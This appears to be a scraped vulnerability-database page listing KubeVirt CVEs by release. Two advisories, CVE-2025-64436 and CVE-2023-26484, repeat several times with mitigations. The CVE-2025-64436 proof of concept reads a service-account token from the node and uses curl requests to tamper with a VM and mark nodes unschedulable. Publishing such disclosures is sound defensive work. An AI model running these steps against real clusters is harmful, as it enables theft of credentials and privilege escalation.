References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Aug 23, 2022

v0.56.0-rc.0 pre

14 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Aug 01, 2022

v0.53.1 minor

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
